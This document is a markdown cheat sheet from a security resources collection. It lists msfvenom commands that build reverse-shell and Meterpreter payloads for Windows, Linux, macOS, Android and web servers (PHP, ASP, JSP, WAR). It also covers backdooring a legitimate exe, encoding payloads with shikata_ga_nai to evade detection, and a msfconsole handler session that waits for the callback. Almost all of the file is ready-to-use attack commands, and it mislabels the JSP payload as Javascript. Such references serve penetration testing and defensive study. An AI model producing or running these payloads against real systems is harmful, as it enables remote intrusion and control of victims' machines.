cyber-security-resources/post_exploitation/msfvenom.md

MSFVenom

MsfVenom is a Metasploit standalone payload generator as a replacement for msfpayload and msfencode.

Creting Binaries

• msfvenom -p windows/meterpreter/reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f exe > example.exe
  • Creates a simple TCP Payload for Windows
• msfvenom -p windows/meterpreter/reverse_http LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f exe > example.exe
  • Creates a simple HTTP Payload for Windows
• msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f elf > example.elf
  • Creates a simple TCP Shell for Linux
• msfvenom -p osx/x86/shell_reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f macho > example.macho
  • Creates a simple TCP Shell for Mac
• msfvenom -p android/meterpreter/reverse/tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} R > example.apk
  • Creates a simple TCP Payload for Android

Web Payloads

Command Info

• msfvenom -p php/meterpreter_reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f raw > example.php
  • Creates a Simple TCP Shell for PHP
• msfvenom -p windows/meterpreter/reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f asp > example.asp
  • Creates a Simple TCP Shell for ASP
• msfvenom -p java/jsp_shell_reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f raw > example.jsp
  • Creates a Simple TCP Shell for Javascript
• msfvenom -p java/jsp_shell_reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f war > example.war
  • Creates a Simple TCP Shell for WAR

Windows Payloads

• msfvenom -l encoders
  • Lists all avalaible encoders
• msfvenom -x base.exe -k -p windows/meterpreter/reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f exe > example.exe
  • Binds an exe with a Payload (Backdoors an exe)
• msfvenom -p windows/meterpreter/reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -e x86/shikata_ga_nai -b ‘\x00’ -i 3 -f exe > example.exe
  • Creates a simple TCP payload with shikata_ga_nai encoder
• msfvenom -x base.exe -k -p windows/meterpreter/reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -e x86/shikata_ga_nai -i 3 -b “\x00” -f exe > example.exe
  • Binds an exe with a Payload and encodes it

Getting a Metepreter Shell

omar@ares:~$ sudo msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(multi/handler) > set lport 4444
lport => 4444
msf exploit(multi/handler) > run